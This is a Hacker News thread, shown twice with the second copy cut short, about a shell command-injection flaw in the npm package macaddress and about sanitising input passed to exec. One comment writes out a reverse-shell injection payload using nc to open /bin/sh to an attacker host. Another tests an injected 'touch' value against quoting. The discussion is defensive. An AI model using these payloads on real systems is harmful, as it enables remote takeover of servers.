11 ms·

Critical vulnerability of NPM package macaddress

88 points by tekkk 8y ago

koolba 8y ago
Here's the offending line of code[1]: exec("cat /sys/class/net/" + iface + "/address", function (err, out) { That's some serious amateur hour and may even be a new contender for the Useless Use of Cat (and "exec(...)") Award. Would be simpler and less error prone to just read the file via fs.readFile(...) after verifying that the iface parameter does not contain a directory separator. [1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/linux.js#L4 https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
- MrLeap 8y ago
  Yeah, that's dirty. I hate to be an apologist for this kind of thing, but this vulnerability is in the same time zone to me as saying mysql2 has a critical vulnerability if attackers get access to connection.query's first argument. The package definitely should be updated, and I appreciate being informed, but "No fix is currently available for this vulnerability" strikes me as a little disingenuous. Object.Freeze a list of iface options, and validate user input against that.. Wouldn't that prevent this attack?
  - arghwhat 8y ago
    The correct thing to do is either not use the library, or to restrict usage by never pass arbitrary user-controllable data to it. Whitelisting would definitely work, as long as the whitelist cannot be externally manipulated. Don't expose the whitelist rather than relying on Object.Freeze.
  - mikeash 8y ago
    Someone familiar with databases and SQL will understand that giving an attacker direct access to write a query is going to make you vulnerable, even with zero knowledge of how the thing is implemented. A function for retrieving a MAC address does not have the same expectation. Without knowing how it’s inplemented, it’s quite reasonable to expect such a function to behave sanely on arbitrary input.
- arghwhat 8y ago
  This is so awful that its existence is borderline suspicious. It's also conveniently just part of a massive "v1.0" (initial commit).
  - drdaeman 8y ago
    Other platforms do `exec` calls, e.g. `"ifconfig " + iface`, etc. This `cat` is odd, but still within what can be attributed to sloppiness (and copy-paste-driven programming) rather than malice.
    - arghwhat 8y ago
      exec cat is so odd that I can't seriously attribute it to sloppiness. It's for reading a file, and much more cumbersome. Plus, exec is not something to be taken lightly, to the point where I'd barf if I found out a lib I depended on exec'd internally and immediately remove it, unless there was absolutely no other way to perform the action for some absurd reason.
      - drdaeman 8y ago
        My point is, it's likely that the first line was something like exec("ifconfig " + name), then it was copied and edited to exec("networksetup -getmacaddress"), then this exec("cat") had happened. Because laziness. It really wouldn't be a problem (a poor and ineffective code for sure, but no security bugs), if all the arguments would be correctly validated (and escaped, although valid interface names probably don't need it).
      - nucleardog 8y ago
        Somebody Google'd "get mac address from script linux" and scrolled through a couple things involving awk and other nonsense until they found something easily digestible--a StackOverflow answer saying: For particular interface like for eth0: cat /sys/class/net/eth0/address Then without thought or understanding, put that into their JavaScript as directly as possible. This is someone doing work without a full understanding of the problem space. Less of a programmer, more of a programming technologist. I don't find it surprising at all.
- donkeyd 8y ago
  In what scenarios could this be abused?
  - martinald 8y ago
    If some user input is going into anything this library uses you can take over the box pretty much, execute anything you want (at the user level of node). Probably really hard to figure out what user input triggers that to be honest unless you have the source code of the app. This package has nearly 100M downloads a year which is pretty astonishing.
    - donkeyd 8y ago
      I get that part, but in what scenario will user input actually be provided to this package? It feels like this is highly unlikely and that there probably won't be any cases where this will actually be an issue. I may be wrong though, I just can't think of anything.
      - martinald 8y ago
        An example off the top of my head would be some sort of IoT device which has a drop-down to communicate via 4G, WiFi, ethernet etc. I'd be they'd put the value of the select to be the interface name and wouldn't check input value, so you could craft a special request with a bad value. But I do agree; not super easy to exploit. The more worrying fact is something like this which could easily be drawn in to 100m installs.
  - parenthephobia 8y ago
    Anything which passes "iface" through without sanitising it. The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access. e.g. macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})
    - deelowe 8y ago
- Mister_Snuggles 8y ago
  Don't forget the just-as-bad-but-maybe-worse version for the generic Unix[0] platform. The Mac OS X version[1] is equally bad. Ironically, I don't see this problem in the Windows version[2]. [0] https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/unix.js https://github.com/scravy/node-macaddress/blob/dd079620d11c9... [1] https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/macosx.js https://github.com/scravy/node-macaddress/blob/dd079620d11c9... [2] https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/windows.js https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
  - koolba 8y ago
    I think the Windows code may be broken as well though for entirely different reason. It doesn't handle overlapping names of network interfaces. It searches for the first occurrence of the text of iface[1] in the output and then returns the next macaddress-ish text it finds. That means "Local Area Connection" will also match "Local Area Connection 2", "Local Area Connection 3", etc and the sort order of the ipconfig command will determine which one you will return. [1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/windows.js#L15 https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
- tomxor 8y ago
  Nodejs API docs for exec say: > Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution. I've always wondered what exactly the best way to do this is... searching about sanitising user input into shells always results in suggestions for something quite extreme like stripping non-alphanumerics or something similar. But much of the time user inputs are just passed as parameters or built into paths as in this case, so I wondered, is it enough to quote them instead? we don't need the features of double quotes when building the string in some other language in which case the rules for single quotes apply: From GNU Bash 3.1.2.2 Single Quotes: > Enclosing characters in single quotes (‘'’) preserves the literal value of each character within the quotes. A single quote may not occur between single quotes, even when preceded by a backslash. In which case is it possible to get away with just "sanitizing" for single quote usage and then single quote all paramaters?: exec(`cat '/sys/class/net/${iface.replace(/'/g, '')}/address'`, () => {}) Is it possible to break out of that? I think in order to use && or ; to start a new command you need to end the context of the string, but .replace(/'/g, '') seems to remove that ability? e.g iface = `'; touch /uhoh;` results in the following string passed to exec cat '/sys/class/net/; touch /uhoh;/address' => cat: '/sys/class/net/; touch /uhoh/address': No such file or directory Also you can't do further exec inside single quotes with backticks e.g cat '/sys/class/net/` touch /uhoh `/address' => cat: '/sys/class/net/`touch /uhoh`/address': No such file or directory
  - alxlaz 8y ago
    In this particular case, you know the result has to be a subpath under /sys/class/net/... and, specifically, an interface name. I'm 95% sure that, if it's not alphanumeric, you can safely throw it out (and the other 5% is in the kernel and udev docs).
    - tomxor 8y ago
      > In this particular case, you know the result has to be a subpath under /sys/class/net I get that in _this_ case, but I'm talking more generally, sometimes parameters are allowed to or even need to have various other non alphanumeric chars, and then you start going down the fallible road of differentiation... trying to sanitise not quite everything without letting exploits pass through which is dangerous. But in the more general case of "it's a parameter" can't we just quote it, sanitise for single quotes and then know it's safe?
- Boulth 8y ago
  This is kind of embarrassing but the advisories page is full of gems like that: https://nodesecurity.io/advisories https://nodesecurity.io/advisories
  - f055 8y ago
    I'm shocked. There are almost 30 advisories in May alone that are 7+. To put this into perspective Perl, which I like, with its modules had 3 this year. And 3 last year. Three per year. Three. https://www.cvedetails.com/vulnerability-list/vendor_id-1885/Perl.html https://www.cvedetails.com/vulnerability-list/vendor_id-1885...
    - staticassertion 8y ago
      Counting vulnerabilities is entirely useless. You can easily attribute more vulns to better security, as it may indicate a larger/ better group of people are looking for vulnerabilities. I actually find that is generally the case.
      - f055 8y ago
        Generally, how much vulnerabilities is too much? I think Node is past this point.
        staticassertion 8y ago
        There is no limit - as I said, counting is pointless. As an example, lots of projects have active bug bounty programs where they pay people to disclose vulns. This generates more CVEs than a competing product that does not pay for more vulns. Would we then call the project with a bug bounty program less secure? I'd hope not. Alternatively, what about impact? Maybe 100 DOS's is less serious than 5 RCE's, or 10 privescs is more serious than 1 RCE? How do we convert between these severities to understand risk? Counting vulns is pointless.
        f055 8y ago
- rms_returns 8y ago
  There is no dearth of amateurish shenanigans in node infrastructure, there is a reason that people are still reluctant to switch from php/python despite so many selling points of node.
  - megous 8y ago
    These kinds of bugs are language independent, the source is between the screen and the keyboard.
    - xorcist 8y ago
      The "amateurish shenanigans" alluded to probably has nothing to do with the language but the project itself. If anyone can commit anything and nobody ever reads what is to be commited, the repository must be regarded as attacker controlled. Some people will likely find that problematic.
    - grumdan 8y ago
      They are language-independent but may still have a higher incidence in one community than another. Anecdotally, these basic mistakes seem to happen more in Node packages or JS-based projects, but I have no concrete evidence for this speculation. The only study I know of looking at this in a serious way is this one: http://web.cs.ucdavis.edu/~filkov/papers/lang_github.pdf http://web.cs.ucdavis.edu/~filkov/papers/lang_github.pdf (https://news.ycombinator.com/item?id=8558740 https://news.ycombinator.com/item?id=8558740) However, JavaScript ends up a being less prone to defective commits than C++ and C, as well as PHP and Python, but there are a number of issues that don't allow us to conclude all that much from these results (imo).
      - staticassertion 8y ago
        > Anecdotally, these basic mistakes seem to happen more in Node packages or JS-based projects It's just bias. Python code is riddled with vulns - especially since it's all C under the hood. https://hackernoon.com/python-sandbox-escape-via-a-memory-corruption-bug-19dde4d5fea5 https://hackernoon.com/python-sandbox-escape-via-a-memory-co... Here's a great post that covers some issues in Python modules and why they're extra exploitable because they execute under CPython. This is a particularly relevant quote: > Perhaps less recognized is the fact that memory corruption bugs are reported in popular Python modules all the time without so much as a CVE, a security advisory, or even a mention of security fixes in release notes.
- DisMeUrBro 8y ago
  > That's some serious amateur hour Can confirm, "NPM" is in the post's title.
- amluto 8y ago
  > after verifying that the iface parameter does not contain a directory separator. No, this is terrible practice. The correct solution is to verify that the interface name is well formed. Use a whitelist, not a blacklist. And, for good measure, use a real path manipulation library if available.
  - okdana 8y ago
    How are you going to white-list network-interface names? On Linux at least you can name them almost anything you want: % sudo ip link set eth3 down % sudo ip link set eth3 name "'deal-with-it'" % sudo ip link show "'deal-with-it'" 5: 'deal-with-it': <BROADCAST,MULTICAST> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 10000 link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff The only interface-name restrictions iproute2 sets is that they can't contain NUL, slash, or white space, and they can't be longer than 15 characters.
    - tedunangst 8y ago
      So I guess the question is does a regex of [^/ ]{1,15} count as a whitelist or a blacklist?
    - amluto 8y ago
      So does Linux allow .. as an interface name? If so, that’s nuts.
- furgooswft13 8y ago
  Yikes. Even if fixed I would be highly suspect of the rest of the code written by someone who felt they needed an exec call to read a file. Perhaps I should make a new npm module named cat module.exports = require('fs').readFile; and saved the day.
  - tomxor 8y ago
    You joke but I've come across many one line modules in the npm registry... usually when trying to figure out if I trust the tree of some prospective module i'm considering including in my code - It's a serious problem for module authors because most aren't even aware they are including all of this crap, they see the first level of dependencies looks fairly reasonable, but you have to keep digging and then you find all kinds of crazy ridiculous things just because one otherwise reasonable person in the chain didn't quite look closely enough at something they were depending on which opened up a doorway to hell. My general rule is to just avoid trees deeper than a few levels unless there is a very good reason (unless i'm creating a public module in which case I aim for zero, usually end up with 1 or 2 one level dependencies) - most node modules are the unix philosophy taken way too far, every pattern is bad when incorrectly used.
- duxup 8y ago
  I'm admittedly a n00b here. Is operating exec with any kind of unverified user provided data inherently dangerous?
  - sli 8y ago
    Yes. You will simply never catch every possible case that can potentially cause harm.
    - duxup 8y ago
      Thank you. That's what I'm assuming. Just arbitrarily executing an unknown seems bad at face value.
  - tomxor 8y ago
    Me too... with figuring out security with exec at least. Yes is the answer, and this is noted in the nodejs documentation for exec. The difficulty seems to be that there is no generic pattern for making it safe with exec, it's contextual. Preventing exploits requires you to consider which shell, which command and which part of that combination is being exposed to your user input for you to know exactly what must be sanitised from your user input if you want anything more than alphanumerics. I suggested one simpler safe pattern lower down in this thread which is encapsulating user based parameters in single quotes (which requires only sanitising against single quotes). Although this is safe, others have noted valid arguments against this too. It seems like it's just best avoided unless absolutely necessary (most often it's not).
- danmg 8y ago
  Also this interface assumes that the kernel is using sysfs.
deleted 8y ago
[deleted]
robin_reala 8y ago
This has been biting a lot of people as the mostly unmaintained cssnano uses it, which in turn is used by create-react-app. Previously this would have probably gone unnoticed, but npm audit in npm6 has brought it front and centre.
- andyana 8y ago
  It's amazing that something like cssnano would have a dependency on getting MAC addresses. WTF?
  - zajd 8y ago
    npm was a mistake
    - always_good 8y ago
      NPM doesn't change anything here. the same issue would exist if you could only vendor dependencies. Are you sure you understand the issue?
      - tzahola 8y ago
        Javascript was a mistake Edit: Answer to “always_good”: If a toddler shoots himself with a handgun, we can say that his mistake was pulling the trigger. While technically correct, it’s not addressing the real issue, that is, how did the toddler get hold of the gun in the first place?
        always_good 8y ago
        Wrong again. Passing user input into arbitrary shell commands is the mistake. Good examples of amateur criticism that plagues our field, though.
        supermdguy 8y ago
        Having the ability to execute arbitrary commands isn't something that's unique to JavaScript.
speps 8y ago
The actual report, as that page contains nothing interesting: https://hackerone.com/reports/319467 https://hackerone.com/reports/319467
deleted 8y ago
[deleted]
cc-d 8y ago
Another month, another ridiculous issue involving NPM that has no place being in software with millions of weekly downloads. It really is never ending amateur hour in the NPM community.
- binarymax 8y ago
  This has nothing to do with NPM. It is a specific package published on NPM. Also, stereotyping and insulting the NPM community is nonconstructive and out of place. Vulnerabilities in packages happen all the time in all kinds of package managers. The lesson here is to not blind-trust any package you come across that might make your job easier.
  - deleted 8y ago
    [deleted]
jedisct1 8y ago
npmjs shows 1,325,674 weekly downloads. The current version was released 3 years ago. The code is small and straightforward. Using exec("cat x " + userdata) to read a file in any language should immediately drive any developer nuts. Apparently, nobody ever looked at the code. Or maybe some people did, but never reported it. Pretty sure some companies did, fixed it in their closed local fork and never notified the author nor contributed their fix back. This is really scary, and really bad for the trustworthiness of open-source software.
georgyo 8y ago
Many people here are saying that the problem had been in the code base for years, was super obvious, and that just no one looked at the code. I think that it is much more relevant that the node community does do many micro packages, that it makes so much nose to look at the quality of pulled in packages. I recently pulled down a web app (Zulip) the packages.json expands to almost 1400 npm packages. How is any human going to look at all that. And apparently it is "normal" for an npm project to have that many dependencies. Too me this is madness. It is impossible to know the quality of all those packages.
- pi-squared 8y ago
  I am not a fan of the whole javascript craze but for comparison on my desktop machine with I assume average setup of ElementaryOS: $ apt list --installed | wc -l 2394 And on my server the number is 502. Couldn't the same argument be applied here as well? I understand that (probably) users of Ubuntu are more involved than supporting npm packages (or... are they) but it's still a lot of packages to eyeball.
  - JoshTriplett 8y ago
    Not the same thing. Your desktop install might include a few thousand packages total, but that doesn't mean any significant number of packages pull in a thousand dependencies by themselves. Node packages might consist of a single function.
  - georgyo 8y ago
    Sure, but the major difference is that those packages are for everything on your system. Dependencies are often added very carefully. In the node case it is not uncommon for a small app to include 50 small packages, and then those packages pulled in 30 unique smaller packages each (on average). Imagine you did an apt upgrade on your system, or decided to install a new package and it said it was going to install 1500 new packages. Would you continue? It would definitely make me pause for a while. But this is the norm in the node world, and people seem to think it is a good idea.
taf2 8y ago
love those little bobby tables
deleted 8y ago
[deleted]
ashelmire 8y ago
This one has been out for about a month: https://snyk.io/vuln/npm:macaddress:20180511 https://snyk.io/vuln/npm:macaddress:20180511 Unfortunately, it's introduced into any Rails app that uses webpacker or any app using node-sass through a long dependency chain. And once again demonstrates how the JS community is far too dependent on extremely trivial, unsupported, and unaudited libraries.
royjacobs 8y ago
That yet another NPM package proves to be pretty broken seems to be par for the course, but what especially shocks me is that on Hackerone the people working on this vulnerability can't reach the original maintainer and then say: "Doesn't look epic to me, also last publish was 3 years ago." It doesn't look epic, yet it's a package that has over 1.2 million weekly downloads. Also, fun fact, one of the dependent packages is react-input-select...WHY?
- 00oo00 8y ago
  Checkout react-input-select's package.json... It's just full of unrelated random dependencies. Might be some way to advertise his node package?
- wolfgang42 8y ago
  react-input-select has 640 (!) dependencies, all of which were added by the author in a commit named 'type fix'[1] which seems to have been ostensibly intended to fix a typo, and none of which seem to be required to actually use the library. The only thing I can imagine is that the author somehow added their entire node_modules tree as dependencies. Maybe it was an ill-fated attempt at pinning? [1]: https://github.com/rayescmata/react-input-select/commit/cd7b82578d70b9562013e00eb1ee7594ef628e9d https://github.com/rayescmata/react-input-select/commit/cd7b...
cyphar 8y ago
According to the HackerOne report[1] there was no response from the maintainer and the last package update was 3 years ago. And yet the package is downloaded several million times a month (meaning it's definitely used in something -- I imagine looking at the reverse dependency tree would cause some concern). This is something that bothers me a lot with most of these home-grown package ecosystems. In distributions we remove packages from their main repositories if old maintainers are no longer available and nobody is interested in becoming the new maintainer (we do this in openSUSE all the time). Does the Node (and Rust, Python, Ruby, ...) community have this sort of process for deciding that a project is no longer adequately maintained? One of the benefits of having macro-packages is that it's always clear whether a package is being maintained -- if there isn't a release for a long time then it's probably no longer maintained. But with micro-packages there are thousands which are so trivial they require no updates (see left-pad, ansi-{green,blue,red,yellow,cyan,...}, and so on) that a very large number of projects depend on. Not to mention that distributions don't generally have projects with thousands of dependencies each -- so removing a dependency and everything that depends on it will not destroy the entire package ecosystem. [1]: https://hackerone.com/reports/319467 https://hackerone.com/reports/319467

88 points by tekkk 8y ago

Here's the offending line of code[1]: exec("cat /sys/class/net/" + iface + "/address", function (err, out) { That's some serious amateur hour and may even be a new contender for the Useless Use of Cat (and "exec(...)") Award. Would be simpler and less error prone to just read the file via fs.readFile(...) after verifying that the iface parameter does not contain a directory separator. [1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/linux.js#L4 https://github.com/scravy/node-macaddress/blob/dd079620d11c9...

MrLeap 8y ago
Yeah, that's dirty. I hate to be an apologist for this kind of thing, but this vulnerability is in the same time zone to me as saying mysql2 has a critical vulnerability if attackers get access to connection.query's first argument. The package definitely should be updated, and I appreciate being informed, but "No fix is currently available for this vulnerability" strikes me as a little disingenuous. Object.Freeze a list of iface options, and validate user input against that.. Wouldn't that prevent this attack?
- arghwhat 8y ago
  The correct thing to do is either not use the library, or to restrict usage by never pass arbitrary user-controllable data to it. Whitelisting would definitely work, as long as the whitelist cannot be externally manipulated. Don't expose the whitelist rather than relying on Object.Freeze.
- mikeash 8y ago
  Someone familiar with databases and SQL will understand that giving an attacker direct access to write a query is going to make you vulnerable, even with zero knowledge of how the thing is implemented. A function for retrieving a MAC address does not have the same expectation. Without knowing how it’s inplemented, it’s quite reasonable to expect such a function to behave sanely on arbitrary input.
arghwhat 8y ago
This is so awful that its existence is borderline suspicious. It's also conveniently just part of a massive "v1.0" (initial commit).
- drdaeman 8y ago
  Other platforms do `exec` calls, e.g. `"ifconfig " + iface`, etc. This `cat` is odd, but still within what can be attributed to sloppiness (and copy-paste-driven programming) rather than malice.
  - arghwhat 8y ago
    exec cat is so odd that I can't seriously attribute it to sloppiness. It's for reading a file, and much more cumbersome. Plus, exec is not something to be taken lightly, to the point where I'd barf if I found out a lib I depended on exec'd internally and immediately remove it, unless there was absolutely no other way to perform the action for some absurd reason.
    - drdaeman 8y ago
      My point is, it's likely that the first line was something like exec("ifconfig " + name), then it was copied and edited to exec("networksetup -getmacaddress"), then this exec("cat") had happened. Because laziness. It really wouldn't be a problem (a poor and ineffective code for sure, but no security bugs), if all the arguments would be correctly validated (and escaped, although valid interface names probably don't need it).
    - nucleardog 8y ago
      Somebody Google'd "get mac address from script linux" and scrolled through a couple things involving awk and other nonsense until they found something easily digestible--a StackOverflow answer saying: For particular interface like for eth0: cat /sys/class/net/eth0/address Then without thought or understanding, put that into their JavaScript as directly as possible. This is someone doing work without a full understanding of the problem space. Less of a programmer, more of a programming technologist. I don't find it surprising at all.
donkeyd 8y ago
In what scenarios could this be abused?
- martinald 8y ago
  If some user input is going into anything this library uses you can take over the box pretty much, execute anything you want (at the user level of node). Probably really hard to figure out what user input triggers that to be honest unless you have the source code of the app. This package has nearly 100M downloads a year which is pretty astonishing.
  - donkeyd 8y ago
    I get that part, but in what scenario will user input actually be provided to this package? It feels like this is highly unlikely and that there probably won't be any cases where this will actually be an issue. I may be wrong though, I just can't think of anything.
    - martinald 8y ago
      An example off the top of my head would be some sort of IoT device which has a drop-down to communicate via 4G, WiFi, ethernet etc. I'd be they'd put the value of the select to be the interface name and wouldn't check input value, so you could craft a special request with a bad value. But I do agree; not super easy to exploit. The more worrying fact is something like this which could easily be drawn in to 100m installs.
- parenthephobia 8y ago
  Anything which passes "iface" through without sanitising it. The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access. e.g. macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})
  - deelowe 8y ago
Mister_Snuggles 8y ago
Don't forget the just-as-bad-but-maybe-worse version for the generic Unix[0] platform. The Mac OS X version[1] is equally bad. Ironically, I don't see this problem in the Windows version[2]. [0] https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/unix.js https://github.com/scravy/node-macaddress/blob/dd079620d11c9... [1] https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/macosx.js https://github.com/scravy/node-macaddress/blob/dd079620d11c9... [2] https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/windows.js https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
- koolba 8y ago
  I think the Windows code may be broken as well though for entirely different reason. It doesn't handle overlapping names of network interfaces. It searches for the first occurrence of the text of iface[1] in the output and then returns the next macaddress-ish text it finds. That means "Local Area Connection" will also match "Local Area Connection 2", "Local Area Connection 3", etc and the sort order of the ipconfig command will determine which one you will return. [1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c91957ac897e88d539dfceec41d56/lib/windows.js#L15 https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
tomxor 8y ago
Nodejs API docs for exec say: > Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution. I've always wondered what exactly the best way to do this is... searching about sanitising user input into shells always results in suggestions for something quite extreme like stripping non-alphanumerics or something similar. But much of the time user inputs are just passed as parameters or built into paths as in this case, so I wondered, is it enough to quote them instead? we don't need the features of double quotes when building the string in some other language in which case the rules for single quotes apply: From GNU Bash 3.1.2.2 Single Quotes: > Enclosing characters in single quotes (‘'’) preserves the literal value of each character within the quotes. A single quote may not occur between single quotes, even when preceded by a backslash. In which case is it possible to get away with just "sanitizing" for single quote usage and then single quote all paramaters?: exec(`cat '/sys/class/net/${iface.replace(/'/g, '')}/address'`, () => {}) Is it possible to break out of that? I think in order to use && or ; to start a new command you need to end the context of the string, but .replace(/'/g, '') seems to remove that ability? e.g iface = `'; touch /uhoh;` results in the following string passed to exec cat '/sys/class/net/; touch /uhoh;/address' => cat: '/sys/class/net/; touch /uhoh/address': No such file or directory Also you can't do further exec inside single quotes with backticks e.g cat '/sys/class/net/` touch /uhoh `/address' => cat: '/sys/class/net/`touch /uhoh`/address': No such file or directory
- alxlaz 8y ago
  In this particular case, you know the result has to be a subpath under /sys/class/net/... and, specifically, an interface name. I'm 95% sure that, if it's not alphanumeric, you can safely throw it out (and the other 5% is in the kernel and udev docs).
  - tomxor 8y ago
    > In this particular case, you know the result has to be a subpath under /sys/class/net I get that in _this_ case, but I'm talking more generally, sometimes parameters are allowed to or even need to have various other non alphanumeric chars, and then you start going down the fallible road of differentiation... trying to sanitise not quite everything without letting exploits pass through which is dangerous. But in the more general case of "it's a parameter" can't we just quote it, sanitise for single quotes and then know it's safe?
Boulth 8y ago
This is kind of embarrassing but the advisories page is full of gems like that: https://nodesecurity.io/advisories https://nodesecurity.io/advisories
- f055 8y ago
  I'm shocked. There are almost 30 advisories in May alone that are 7+. To put this into perspective Perl, which I like, with its modules had 3 this year. And 3 last year. Three per year. Three. https://www.cvedetails.com/vulnerability-list/vendor_id-1885/Perl.html https://www.cvedetails.com/vulnerability-list/vendor_id-1885...
  - staticassertion 8y ago
    Counting vulnerabilities is entirely useless. You can easily attribute more vulns to better security, as it may indicate a larger/ better group of people are looking for vulnerabilities. I actually find that is generally the case.
    - f055 8y ago
      Generally, how much vulnerabilities is too much? I think Node is past this point.
      - staticassertion 8y ago
        There is no limit - as I said, counting is pointless. As an example, lots of projects have active bug bounty programs where they pay people to disclose vulns. This generates more CVEs than a competing product that does not pay for more vulns. Would we then call the project with a bug bounty program less secure? I'd hope not. Alternatively, what about impact? Maybe 100 DOS's is less serious than 5 RCE's, or 10 privescs is more serious than 1 RCE? How do we convert between these severities to understand risk? Counting vulns is pointless.
        f055 8y ago
rms_returns 8y ago
There is no dearth of amateurish shenanigans in node infrastructure, there is a reason that people are still reluctant to switch from php/python despite so many selling points of node.
- megous 8y ago
  These kinds of bugs are language independent, the source is between the screen and the keyboard.
  - xorcist 8y ago
    The "amateurish shenanigans" alluded to probably has nothing to do with the language but the project itself. If anyone can commit anything and nobody ever reads what is to be commited, the repository must be regarded as attacker controlled. Some people will likely find that problematic.
  - grumdan 8y ago
    They are language-independent but may still have a higher incidence in one community than another. Anecdotally, these basic mistakes seem to happen more in Node packages or JS-based projects, but I have no concrete evidence for this speculation. The only study I know of looking at this in a serious way is this one: http://web.cs.ucdavis.edu/~filkov/papers/lang_github.pdf http://web.cs.ucdavis.edu/~filkov/papers/lang_github.pdf (https://news.ycombinator.com/item?id=8558740 https://news.ycombinator.com/item?id=8558740) However, JavaScript ends up a being less prone to defective commits than C++ and C, as well as PHP and Python, but there are a number of issues that don't allow us to conclude all that much from these results (imo).
    - staticassertion 8y ago
      > Anecdotally, these basic mistakes seem to happen more in Node packages or JS-based projects It's just bias. Python code is riddled with vulns - especially since it's all C under the hood. https://hackernoon.com/python-sandbox-escape-via-a-memory-corruption-bug-19dde4d5fea5 https://hackernoon.com/python-sandbox-escape-via-a-memory-co... Here's a great post that covers some issues in Python modules and why they're extra exploitable because they execute under CPython. This is a particularly relevant quote: > Perhaps less recognized is the fact that memory corruption bugs are reported in popular Python modules all the time without so much as a CVE, a security advisory, or even a mention of security fixes in release notes.
DisMeUrBro 8y ago
> That's some serious amateur hour Can confirm, "NPM" is in the post's title.
amluto 8y ago
> after verifying that the iface parameter does not contain a directory separator. No, this is terrible practice. The correct solution is to verify that the interface name is well formed. Use a whitelist, not a blacklist. And, for good measure, use a real path manipulation library if available.
- okdana 8y ago
  How are you going to white-list network-interface names? On Linux at least you can name them almost anything you want: % sudo ip link set eth3 down % sudo ip link set eth3 name "'deal-with-it'" % sudo ip link show "'deal-with-it'" 5: 'deal-with-it': <BROADCAST,MULTICAST> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 10000 link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff The only interface-name restrictions iproute2 sets is that they can't contain NUL, slash, or white space, and they can't be longer than 15 characters.
  - tedunangst 8y ago
    So I guess the question is does a regex of [^/ ]{1,15} count as a whitelist or a blacklist?
  - amluto 8y ago
    So does Linux allow .. as an interface name? If so, that’s nuts.
furgooswft13 8y ago
Yikes. Even if fixed I would be highly suspect of the rest of the code written by someone who felt they needed an exec call to read a file. Perhaps I should make a new npm module named cat module.exports = require('fs').readFile; and saved the day.
- tomxor 8y ago
  You joke but I've come across many one line modules in the npm registry... usually when trying to figure out if I trust the tree of some prospective module i'm considering including in my code - It's a serious problem for module authors because most aren't even aware they are including all of this crap, they see the first level of dependencies looks fairly reasonable, but you have to keep digging and then you find all kinds of crazy ridiculous things just because one otherwise reasonable person in the chain didn't quite look closely enough at something they were depending on which opened up a doorway to hell. My general rule is to just avoid trees deeper than a few levels unless there is a very good reason (unless i'm creating a public module in which case I aim for zero, usually end up with 1 or 2 one level dependencies) - most node modules are the unix philosophy taken way too far, every pattern is bad when incorrectly used.
duxup 8y ago
I'm admittedly a n00b here. Is operating exec with any kind of unverified user provided data inherently dangerous?
- sli 8y ago
  Yes. You will simply never catch every possible case that can potentially cause harm.
  - duxup 8y ago
    Thank you. That's what I'm assuming. Just arbitrarily executing an unknown seems bad at face value.
- tomxor 8y ago
  Me too... with figuring out security with exec at least. Yes is the answer, and this is noted in the nodejs documentation for exec. The difficulty seems to be that there is no generic pattern for making it safe with exec, it's contextual. Preventing exploits requires you to consider which shell, which command and which part of that combination is being exposed to your user input for you to know exactly what must be sanitised from your user input if you want anything more than alphanumerics. I suggested one simpler safe pattern lower down in this thread which is encapsulating user based parameters in single quotes (which requires only sanitising against single quotes). Although this is safe, others have noted valid arguments against this too. It seems like it's just best avoided unless absolutely necessary (most often it's not).
danmg 8y ago
Also this interface assumes that the kernel is using sysfs.

deleted 8y ago

[deleted]

robin_reala 8y ago

This has been biting a lot of people as the mostly unmaintained cssnano uses it, which in turn is used by create-react-app. Previously this would have probably gone unnoticed, but npm audit in npm6 has brought it front and centre.

andyana 8y ago
It's amazing that something like cssnano would have a dependency on getting MAC addresses. WTF?
- zajd 8y ago
  npm was a mistake
  - always_good 8y ago
    NPM doesn't change anything here. the same issue would exist if you could only vendor dependencies. Are you sure you understand the issue?
    - tzahola 8y ago
      Javascript was a mistake Edit: Answer to “always_good”: If a toddler shoots himself with a handgun, we can say that his mistake was pulling the trigger. While technically correct, it’s not addressing the real issue, that is, how did the toddler get hold of the gun in the first place?
      - always_good 8y ago
        Wrong again. Passing user input into arbitrary shell commands is the mistake. Good examples of amateur criticism that plagues our field, though.
      - supermdguy 8y ago
        Having the ability to execute arbitrary commands isn't something that's unique to JavaScript.

speps 8y ago

The actual report, as that page contains nothing interesting: https://hackerone.com/reports/319467 https://hackerone.com/reports/319467

deleted 8y ago

[deleted]

cc-d 8y ago

Another month, another ridiculous issue involving NPM that has no place being in software with millions of weekly downloads. It really is never ending amateur hour in the NPM community.

binarymax 8y ago
This has nothing to do with NPM. It is a specific package published on NPM. Also, stereotyping and insulting the NPM community is nonconstructive and out of place. Vulnerabilities in packages happen all the time in all kinds of package managers. The lesson here is to not blind-trust any package you come across that might make your job easier.
- deleted 8y ago
  [deleted]

jedisct1 8y ago

npmjs shows 1,325,674 weekly downloads. The current version was released 3 years ago. The code is small and straightforward. Using exec("cat x " + userdata) to read a file in any language should immediately drive any developer nuts. Apparently, nobody ever looked at the code. Or maybe some people did, but never reported it. Pretty sure some companies did, fixed it in their closed local fork and never notified the author nor contributed their fix back. This is really scary, and really bad for the trustworthiness of open-source software.

georgyo 8y ago

